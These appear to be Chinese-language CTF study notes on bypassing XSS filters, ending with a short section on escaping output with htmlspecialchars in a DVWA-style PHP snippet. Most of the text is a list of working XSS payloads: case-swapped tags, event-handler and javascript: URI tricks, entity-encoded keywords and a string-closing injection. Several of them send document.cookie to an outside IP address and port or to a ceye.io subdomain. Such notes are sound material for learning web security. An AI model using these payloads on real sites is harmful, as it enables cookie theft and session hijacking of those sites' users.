1.过滤 script 可以大小写绕过:scRipt
2.换别的方式
<script>window.open('http://118.31.168.198:39543/'+document.cookie)</script>
<body onload="window.open('http://118.31.168.198:39543/'+document.cookie)">
<input onfocus="window.open('http://1q3gva.ceye.io/'+document.cookie)" autofocus>
<svg onload="window.open('http://118.31.168.198:39543/'+document.cookie)">
<iframe src=javascript:alert(1)>
<a href=javascript:alert(1)>link</a>
<img src=x onerror=alert(1)></img>
(2)关键字可以用 内嵌tab的html实体编码绕过
<iframe src=java	script:alert(1)>
过滤了空格:
<body/onload="window.open('http://118.31.168.198:39543/'+document.cookie)">
(2) 网页中空格可以用 代替 也可以用实体编码  代替
3. html实体编码 在brupsuite中编码
可以把实体编码的16进制变为十进制
N1book:
1.关于链接和跳转进行XSS的。因此可以利用js伪协议实现alert:
?jumpUrl=javascript:alert(1)
2.闭合注释绕过
源代码中语句为 var username='111',可以闭合绕过
';alert(1);//
绝对防御:
- htmlspecialchars(string): 把预定义的字符: “<” (小于)、 “>” (大于)、& 、‘’、“” 转换为HTML实体,防止浏览器将其作为HTML元素。
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>